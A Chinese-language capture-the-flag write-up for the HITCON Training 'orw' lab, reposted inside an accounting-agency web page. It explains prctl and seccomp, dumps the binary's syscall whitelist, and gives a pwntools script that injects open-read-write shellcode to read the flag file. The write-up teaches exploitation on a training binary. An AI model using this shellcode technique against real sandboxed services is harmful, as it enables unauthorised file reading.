您好,欢迎访问代理记账网站
移动应用 微信公众号 联系我们

咨询热线 -

电话 15988168888

联系客服
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

HITCON Training Lab2 Writeup

首先利用checksec查看文件

运行文件,将同一文件中的asm文件作为参数输入:

$ ./orw.bin

Give my your shellcode:./orw.asm

Segmentation fault (core dumped)

利用IDA查看反编译的情况:

别的都可以理解,但是这个orw_seccomp要进去看一下:

这个prctl是什么意思?

#include <sys/prctl.h>

int prctl ( int option,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )

这个系统调用指令是为进程制定而设计的,明确的选择取决于 option,而对应的option位于/usr/include/linux/prctl.h中,这道题目的option分别是38(0x26)与22(0x16):

#define PR_SET_SECCOMP 22

如果参数为PR_SET_SECCOMP,那么后面会为安全考虑,会将一些页面的权限设置为只读,这是通过调用set_memory_ro函数实现。

#define PR_SET_NO_NEW_PRIVS 38

当一个进程或其子进程设置了PR_SET_NO_NEW_PRIVS 属性,则其不能访问一些无法share的操作,如setuid, 和chroot。(详细看这里:https://www.dazhuanlan.com/2019/12/24/5e01b31e22093)

外,可以看到arg2也被分别赋予了1与2的值。这个可以在<linux/seccomp.h>中查看:

#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */

#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */

#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */

Seccomp 在最初引入的时候只支持了 strict mode,意味着只有 read ,write ,_exit ,_sigreturn 四个 system call 会被允许。一旦出现其他的 system call,进程会被立刻终止 (SIGKILL)。

strict mode 固然很棒,然而实用性却不高。因为一个复杂的程序根本不可能只用到四个 system call。strict mode 下进程能够完成的任务非常的有限。于是 Linux 又引入了 filter mode,也就是 BPF ( Berkley Packet Filter)。BPF 提供了更高的灵活度,赋予了开发者对于程序更细颗粒度的控制。

(详细解释看这里:https://zhuanlan.zhihu.com/p/363174561)

因此程序禁用掉了一部分系统调用

手动的话,可以利用/proc/pid/status中的Seccomp字段查看,如果没有seccomp字段,说明内核不支持seccomp(linux kernel version >3.8)

$seccomp-tools dump ./orw.bin
 line  CODE  JT   JF      K
=======================qwer1234==========
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

上面这些是白名单,只有跳转到0011的系统调用可以使用,其余都被禁用了。

既然只能读写,那就不能用system(/bin/cat flag)去获取flag,这里我们需要自己写shellcode:

fp = open("flag",0)

read(fp,buf,0x30)

write(1,buf,0x30)

形成的exp.py为:

from pwn import *

context.log_level = "debug"

p=process('./orw.bin')

# push  path

payload=shellcraft.pushstr('./flag')

# open file

payload+=shellcraft.open("esp")

# read file

payload+=shellcraft.read("eax","esp",0x30)

# write stdout

payload+=shellcraft.write(1,"esp",0x30)

p.recv(1024)

#gdb.attach(p)

p.sendline(asm(payload))

p.recvall()

p.close()


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进